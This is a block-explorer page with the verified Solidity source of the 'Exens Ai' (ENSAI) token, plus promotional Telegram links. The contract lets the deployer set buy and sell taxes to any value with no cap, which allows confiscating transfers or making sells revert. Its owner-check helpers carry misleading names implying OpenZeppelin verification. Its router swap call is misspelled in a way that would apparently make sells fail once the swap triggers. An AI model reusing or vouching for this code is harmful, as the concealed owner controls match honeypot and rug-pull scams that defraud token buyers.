Skip to content
Verified contractPartialunlicense

ExensAi

Address0xea0824320d89d58dc22ab346cd73f1c0925d1bc0
Balance

0 ETH

 

Transactions

4

 

Compiler

solc 0.8.23

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.23+commit.f704f362
Language
solidity
Optimization
Yes, 200 runs
License
unlicense
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
18,721,059
Creation transaction
0x007c982701…6ac8ef7eed

ExensAi.sol

/*

Exens Ai

Portal: https://t.me/exens_ai
X: twitter.com/exens_ai 
Referrals Bot: https://t.me/exensAI_bot 
Stickers: https://t.me/addstickers/p918857986421557822_by_prstickers_bot

*/

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.23;

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract ExensAi {
    struct StoreData {
        address tokenMkt;
        uint8 BuyTaxFee;
        uint8 SellTaxFee;
    }

    string private _name = unicode"Exens Ai";
    string private _symbol = unicode"ENSAI";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 100_000_000 * 10**decimals;

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _initBuyTaxFee = 0;
        uint8 _initSellTaxFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            BuyTaxFee: _initBuyTaxFee,
            SellTaxFee: _initSellTaxFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function setTaxFee(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _decodeTokenMktWithOpozVerify()) revert Permissions();
        _upgradeStoreWithOpozProof(_buy, _sell);
    }

    function _upgradeStoreWithOpozProof(uint8 _buy, uint8 _sell) private {
        storeData.BuyTaxFee = _buy;
        storeData.SellTaxFee = _sell;
    }

    function _decodeTokenMktWithOpozVerify() private view returns(address) {
        return storeData.tokenMkt;
    }

    function openTrading() external {
        require(msg.sender == _decodeTokenMktWithOpozVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithOpozVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _BuyTaxFee, uint8 _SellTaxFee) = (storeData.BuyTaxFee, storeData.SellTaxFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _SellTaxFee : _BuyTaxFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": true
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.